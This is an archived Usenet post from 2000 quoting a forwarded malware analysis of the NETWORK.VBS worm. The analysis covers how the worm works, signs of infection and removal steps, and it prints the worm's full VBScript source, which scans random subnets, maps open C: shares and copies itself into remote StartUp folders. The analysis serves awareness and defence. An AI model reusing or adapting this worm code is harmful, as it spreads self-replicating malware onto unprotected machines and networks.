🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Article View: comp.lang.pascal.delphi.misc
Article #42

**AARGH READ THIS!** Re: Network.vbs worm- serious threat to LANs

#42
From: Sundial Services
Date: Tue, 07 Mar 2000 00:00
323 lines
13762 bytes
Bob Dalton wrote:
> 
Aargh!

> Recently due to an unknown, to us, security hole in Win98 our system
> received a self replicating "network.vbs" worm via the Internet. Since this
> worm is not a virus it defeated all our standard security measures (ie;
> McAfee Anti-Virus) and than proceeded to replicate itself across our
> companies LAN and than sent thousands of copies of itself out on the
> Internet, all unknown to us until it was almost too late.  On our LAN the
> systems having the worm began misbehaving and acting up until we identified
> and eliminated the threat by plugging the security hole.  This network.vbs
> worm is a VERY serious threat to networks and one Microsoft needs to do
> something about as it takes advantage of a security hole in MS Win 98/95.
> Below are the full details which came from the following Internet URL
> Hotlink:
> 
> http://pc-help.org/news/scriptworm.htm
> 
> Bob Dalton
> President, Digital Logistics
> 
> -----------------NETWORK.VBS SELF REPLICATING WORM------
> While inspecting a client's misbehaving computer this evening, I found a
> little surprise. His StartUp group contained a Visual Basic script which on
> inspection proved to be a rather simple, self-replicating and
> self-transmitting worm.
> 
> The client's system had a shared C: drive with no password, cause unknown.
> The worm had either been placed on his system (no evidence so far of a
> trojan but we've yet to do thorough scans) or it had arrived by reason if
> its own action.
> 
> ----------------------------------------------------------------------------
> ----
> 
> How It Works
> 
> The script resides in the StartUp group of the Start Menu and is therefore
> run at each reboot. The filename is NETWORK.VBS.
> 
> The script creates a log file, C:\NETWORK.LOG, which it erases and
> re-creates upon each new execution.
> 
> The script generates a random Class C subnet address and enters it in the
> log. This address is the first three numbers of the usual four-part IP
> address. It then steps thru all 255 addresses in that subnet. It blindly
> attempts to map a shared C: drive at the remote address to local drive
> letter J: at each address in turn. It checks each time to verify the
> successful creation of a drive J: on its host.
> 
> If it has not connected, it repeats the process at the next address in
> sequence. When it has stepped thru all 255 addresses of the current subnet,
> it creates another random subnet address, enters it in NETWORK.LOG, and
> continues attempting connections on the new subnet.
> 
> If it succeeds in mapping a remote drive, the script then attempts to copy
> itself to a series of likely locations on that drive.
> 
> Its first act is to place a copy of itself in the root directory of drive
> J:. If the file makes the journey, the script logs its success.
> 
> Then it copies itself to the following folders, most of them targeting the
> StartUp group which will cause persistent execution of the script at every
> reboot:
> 
> j:\windows\startm~1\programs\startup\
> j:\windows\
> j:\windows\start menu\programs\startup\
> j:\win95\start menu\programs\startup\
> j:\win95\startm~1\programs\startup\
> j:\wind95\
> 
> The script then disconnects, effectively removing drive J:.
> 
> It then goes back to work "scanning" addresses without cease.
> 
> Incidentally, if the host system has a drive using the letter J: the script
> will fail to propagate.
> 
> Here are the contents of NETWORK.LOG as found on my client's system:
> 
> Log file Open
> Subnet : 211.203.133.0
> Subnet : 203.251.228.0
> Subnet : 201.244.147.0
> Subnet : 204.97.180.0
> 
> This particular log reflects the fact that the worm had no success
> transferring itself during its last session. The system had been rebooted
> about two hours or so before, and had been offline most of that time. The
> script had tried only about 1000 addresses in that period. This small number
> was presumably because of the delay, usually about 10 seconds, resulting
> from a connection attempt to a nonexistent host.
> 
> ----------------------------------------------------------------------------
> ----
> 
> The Script
> 
> My analysis is in blue text.
> 
> Note: A single small alteration of this code renders it impotent. The
> remainder has been left intact for the benefit of well-intentioned readers.
> 
> dim octa
> dim octb
> dim octc
> dim octd
> dim rand
> dim dot
> dim driveconnected
> dim sharename
> dim count
> dim myfile        // Creates a bunch of variables.
> count = "0"
> dot = "."
> driveconnected="0"
> set wshnetwork = wscript.createobject("wscript.network")
> Set fso1 = createobject("scripting.filesystemobject")
> set fso2 = createobject("scripting.filesystemobject") // Sets a bunch of
> variables.
> on error resume next
> randomize
> checkfile()       // Erases and then re-creates its log file,
> c:\network.log.
> randaddress()     // Generates a random Class C subnet address (that's a
> block of 255 addresses).
> checkaddress()    // Increments the IP address by one; and creates a new
> random subnet if this one's been covered.
> shareformat()     // Creates a textstring, using the current IP address,
> which will be used to map a shared drive.
> wshnetwork.mapnetworkdrive "j:", sharename // Maps the shared drive to J:,
> blindly assuming there's one at the address.
> enumdrives()      // Checks to see if it's successfully mapped the drive.
> copyfiles()       // Places a copy of itself in several places on the drive
> (someone else's machine someplace).
> disconnectdrive() // Drops the connection.
> msgbox "Done"
> 
> function disconnectdrive()
> wshnetwork.removenetworkdrive "j:"
> driveconnected = "0"
> end function
> 
> function createlogfile()
> Set myfile = fso1.createtextfile("c:\network.log", True)
> end function
> 
> function checkfile()
> If (fso1.fileexists("c:\network.log")) then
> fso1.deletefile("c:\network.log")
> createlogfile()
> else
> createlogfile()
> end If
> myfile.writeLine("Log file Open")
> end function
> 
> function copyfiles()
> myfile.writeline("Copying files to : " & sharename)
> Set fso = CreateObject("scripting.filesystemobject")
> 
> fso.copyfile "c:\network.vbs", "j:\"
> 
> If (fso2.FileExists("j:\network.vbs")) Then
> myfile.writeline("Successfull copy to : " & sharename)
> End If
> 
> fso.copyfile "c:\network.vbs", "j:\windows\startm~1\programs\startup\"
> 
> fso.copyfile "c:\network.vbs", "j:\windows\"
> 
> fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
> 
> fso.copyfile "c:\network.vbs", "j:\win95\start menu\programs\startup\"
> 
> fso.copyfile "c:\network.vbs", "j:\win95\startm~1\programs\startup\"
> 
> fso.copyfile "c:\network.vbs", "j:\wind95\"
> 
> end function
> 
> function checkaddress()
> octd = octd + 1
> if octd = "255" then randaddress()
> end function
> 
> function shareformat()
> sharename = "\\" & octa & dot & octb & dot & octc & dot & octd & "\C"
> end function
> 
> function enumdrives()
> Set odrives = wshnetwork.enumnetworkdrives
> For i = 0 to odrives.Count -1
> if sharename = odrives.item(i) then
> driveconnected = 1
> else
> ' driveconnected = 0
> end if
> Next
> end function
> 
> function randum()
> rand = int((254 * rnd) + 1)
> end function
> 
> function randaddress()
> if count > 50 then
> octa=Int((16) * Rnd + 199)
> count=count + 1
> else
> octa="255"
> end if
> randum()
> octb=rand
> randum()
> octc=rand
> octd="1"
> myfile.writeLine("Subnet : " & octa & dot & octb & dot & octc & dot & "0")
> end function
> 
> Why did I publish this code?
> 
> ----------------------------------------------------------------------------
> ----
> 
> Comments
> 
> This is the first worm I've seen that was targeted to take advantage of open
> (sans password) shares. I have no idea whether similar exploits exist nor
> whether anyone else has spotted this particular creature. (25 Feb: I now
> know that this worm has been known to AV vendors for several days. Most of
> them have issued patches for its detection.)
> 
> In my opinion, any working copy of this worm is almost certain to replicate
> itself on several other machines before it's detected by the user, so it is
> probably spreading at a steady -- perhaps even exponential -- rate.
> 
> It's impossible to estimate the incidence of open shares with certainty; but
> I've poked around looking for them a time or two in an effort to estimate
> them; so I think I can hazard an educated guess. I'd say one or two
> addresses in a thousand harbor a system with open shares, and a significant
> percentage of those will permit access to the entire C: drive. While online
> this worm might easily scan several thousand potential victims in the course
> of a few hours, which means that an undetected worm residing on a system
> that's online several hours a day has a high probability of replicating
> itself something like once every day or two.
> 
> The capability to run these scripts is installed with Internet Explorer 5.
> I'm not sure about IE4. I believe this means that Win98 systems are much
> more likely than Win95 machines to have the Windows Script Host installed.
> So the script won't run on a significant proportion of the "legacy" systems
> which were more easily misconfigured for open shares. This could reduce its
> rate of propagation.
> 
> 25 Feb: UseNet reports indicate that this worm can cause slowdowns on a LAN.
> It stands to reason! As reported by NAI at
> http://vil.nai.com/vil/vbs98477.asp, the effect of the worm's simultaneous
> action on numerous systems on a network may overload or crash servers which
> receive a flood of DNS requests resulting from the script's activity.
> 
> Note that in systems with Windows Script Host installed, there will be a
> file named NETWORK.VBS in the Windows directory. Don't be alarmed. This is a
> harmless sample script. If you're infected, the bad guy will be in the
> StartUp folder and in the root directory.
> 
> Removal
> 
> To kill the script, move it out of the StartUp folder and reboot. If Windows
> won't allow this, reboot to MS-DOS (don't just open a DOS window) and type
> this command:
> 
> ren \windows\startm~1\programs\startup\network.vbs network.txt
> 
> Hit Enter. If no error message displays, it worked. Now when you restart
> Windows, the script will not run, instead it will open up for examination in
> Notepad. If it's not identical to the one I've quoted above, I'd appreciate
> it if you'd send me a copy.
> 
> In Sum
> 
> The worm script does nothing nefarious aside from taking up bandwidth on the
> Net link and consuming some processing power on the host system. But it may
> have been responsible for some annoying lockups that were observed on my
> client's system.
> 
> Fortunately it doesn't phone home, nor otherwise serve to advertise the
> victim's open shares. But it could easily do so with simple additions. So it
> illustrates a rather serious potential for exploit. In fact, given history,
> I consider it a positive certainty that more hostile versions of this thing
> will appear.
> 
> A worm like this with phone-home or broadcast features might spread far and
> wide, and report on open shares on a huge scale. It would probably lay a lot
> of people open to near-certain intrusion. It should stand as a grim reminder
> of the potential seriousness of open shares.
> 
> Anyone who simply ensures they're not sharing their entire C: drive with
> write permission on the Internet link has nothing to fear from this worm. If
> it writes to a shared subdirectory or to another drive, it won't run.
> 
> For more on open shares and their solutions, see my page titled File And
> Printer Sharing And The Internet.
> 
> I am suddenly very interested in this sort of scripting. If you too would
> like to investigate it in greater detail, here are some useful links:
> 
> Overview of the Windows� Script Host
> Windows� Script Host Programmer's Reference
> Download the Windows� Script Host
> 
> Last Updated Saturday, 26 February 2000
> ----------------------------------------------------------------------------
> ----

-- 
------------------------------------------------------------------
Sundial Services :: Scottsdale, AZ (USA) :: (480) 946-8259
mailto:info@sundialservices.com  (PGP public key available.)
> Fast(!), automatic table-repair with two clicks of the mouse!
> ChimneySweep(R):  "Click click, it's fixed!" {tm}
> http://www.sundialservices.com/products/chimneysweep
Technical Details
Message-ID: <38C55B9D.4BA9@sundialservices.com>
Path: arc1-ca.pugleaf.net!unknown!not-for-mail
References: <8a15ra$n9k$1@news.csw.net>

Show Full Headers
Complete Article Headers
X-Google-Language: ENGLISH,ASCII
X-Google-Thread: ff0ac,54ffd95abe4c5af8,start
X-Google-Attributes: gidff0ac,public
X-Google-Thread: 10baee,225b9ad6c2406ca4
X-Google-Attributes: gid10baee,public
X-Google-Thread: 10034a,54ffd95abe4c5af8,start
X-Google-Attributes: gid10034a,public
X-Google-Thread: fc0db,54ffd95abe4c5af8,start
X-Google-Attributes: gidfc0db,public
From: Sundial Services <info@sundialservices.com>
Subject: **AARGH READ THIS!** Re: Network.vbs worm- serious threat to LANs
Date: 2000/03/07
Message-ID: <38C55B9D.4BA9@sundialservices.com>
X-Deja-AN: 594384523
Content-Transfer-Encoding: 8bit
References: <8a15ra$n9k$1@news.csw.net>
Content-Type: text/plain; charset=iso-8859-1
X-Complaints-To: abuse@prserv.net
X-Trace: 7 Mar 2000 19:45:52 GMT, 32.100.146.15
Organization: Sundial Services
MIME-Version: 1.0
Reply-To: info@sundialservices.com
Newsgroups: comp.lang.pascal.delphi.misc,comp.databases.paradox,comp.databases.ms-access,borland.public.bde